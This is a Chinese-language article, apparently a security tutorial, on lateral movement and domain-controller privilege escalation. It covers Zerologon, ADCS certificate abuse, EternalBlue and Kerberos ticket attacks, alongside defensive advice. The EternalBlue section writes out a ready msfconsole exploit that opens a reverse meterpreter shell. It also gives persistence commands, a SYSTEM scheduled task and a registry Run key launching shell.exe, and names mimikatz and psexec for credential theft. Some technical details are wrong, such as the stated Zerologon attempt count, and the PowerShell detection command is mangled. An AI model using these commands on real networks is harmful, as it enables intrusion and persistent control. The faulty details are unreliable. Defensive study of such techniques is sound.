内网横向移动攻防与域控提权技术解析

1. 内网横向移动攻防全景解析内网横向移动是渗透测试中最关键的阶段之一也是企业安全防护的重点难点。当攻击者通过边界突破获得初始立足点后会利用各种技术手段在内部网络横向扩散最终目标是获取域控等高价值系统权限。这个过程中涉及到的技术链条包括但不限于凭证窃取、协议漏洞利用、权限提升、持久化控制等。我经历过多次真实的内网渗透项目发现企业内网普遍存在以下安全隐患多台服务器使用相同本地管理员密码、未及时安装系统补丁、默认配置的共享权限过高等。这些都为攻击者进行横向移动提供了便利条件。下面我将结合ADCS、NetLogon等核心组件详细拆解攻击者常用的技术路径。2. 域控提权关键技术剖析2.1 NetLogon特权提升漏洞实战NetLogon协议CVE-2020-1472是微软在2020年修补的一个严重漏洞攻击者可利用该漏洞在未认证的情况下获取域控权限。其核心原理在于NetLogon建立安全通道时使用的认证算法存在缺陷允许攻击者伪造计算机账户身份。具体攻击流程可分为四个阶段通过Responder等工具嗅探网络流量获取目标域控的NetBIOS名称使用zerologon工具发起认证绕过攻击通常需要3-5次尝试重置域控的机器账户密码为空值利用空密码建立会话并导出域管哈希防御方案建议立即安装微软官方补丁KB4557222启用强制模式运行netlogon_secure_channel_type注册表项定期审计域控日志中的异常认证事件2.2 ADCS证书服务滥用攻击Active Directory证书服务(ADCS)是企业PKI体系的核心组件但错误配置可能导致严重安全问题。攻击者常利用以下两种方式ESC1攻击路径查找配置了ENROLLEE_SUPPLIES_SUBJECT的证书模板申请包含管理员SAN的证书使用证书通过Kerberos认证获取TGTESC8攻击路径通过PetitPotam强制域控向攻击者服务器进行NTLM认证中继认证到ADCS HTTP端点获取域控计算机账户的证书防护建议禁用NTLM认证或启用SMB签名在证书模板中移除ENROLLEE_SUPPLIES_SUBJECT标志限制CA服务器的网络访问权限3. 永恒之蓝漏洞深度利用3.1 漏洞原理与武器化永恒之蓝MS17-010是利用SMBv1协议栈溢出漏洞的攻击套件影响Windows 7/Server 2008等老旧系统。其攻击流程包括通过445端口发送特制数据包触发缓冲区溢出覆盖函数返回地址执行shellcode在内核模式创建系统线程加载攻击者提供的payload在Kali中的典型利用方法msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.50 exploit3.2 后渗透阶段操作要点获取初始shell后的关键操作权限提升使用getsystem尝试自动提权通过bypassuac模块绕过UAC利用本地漏洞如CVE-2021-36934持久化控制# 创建计划任务 schtasks /create /tn UpdateService /tr C:\shell.exe /sc hourly /ru SYSTEM # 注册表自启动 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Backup /t REG_SZ /d C:\shell.exe横向移动技术使用mimikatz提取内存凭证通过psexec进行哈希传递利用smbexec执行远程命令4. Kerberos协议攻击防御4.1 PAC校验绕过问题Kerberos协议中的特权属性证书(PAC)存在以下安全隐患伪造PAC可导致权限提升MS14-068服务票据未强制验证PAC有效性KDC默认信任客户端提供的PAC信息检测方法# 检查域控事件ID 4769中的ServiceName字段 Get-WinEvent -FilterHashtable {LogNameSecurity;ID4769} | Where-Object {$_.Message -like *krbtgt*} | Select-Object -First 104.2 黄金/白银票据防御黄金票据攻击特征使用krbtgt账户的哈希伪造TGT票据有效期异常长通常10年登录事件与票据请求时间不匹配防护措施定期重置krbtgt账户密码至少每180天启用AES加密而非RC4部署SIEM监控异常票据请求5. 内网防御体系建设建议5.1 网络分区与访问控制实施零信任架构取消默认内网信任核心区域部署主机防火墙如Windows高级防火墙使用VLAN隔离不同安全等级的设备5.2 安全监控策略必备的日志收集类型日志类型关键事件ID检测目标安全日志4624,4625异常登录系统日志7045服务安装PowerShell日志4104恶意脚本5.3 漏洞管理规范建立补丁管理SOP标准作业程序高危漏洞72小时内应急处理每季度进行漏洞扫描与渗透测试在内网安全对抗中攻击者只需要找到一个突破口而防御者需要守住所有入口。通过本文介绍的技术细节安全团队可以更有针对性地加固域环境。实际防御效果取决于最薄弱环节的防护水平建议采用纵深防御策略在身份认证、网络通信、主机防护等多个层面建立防御体系。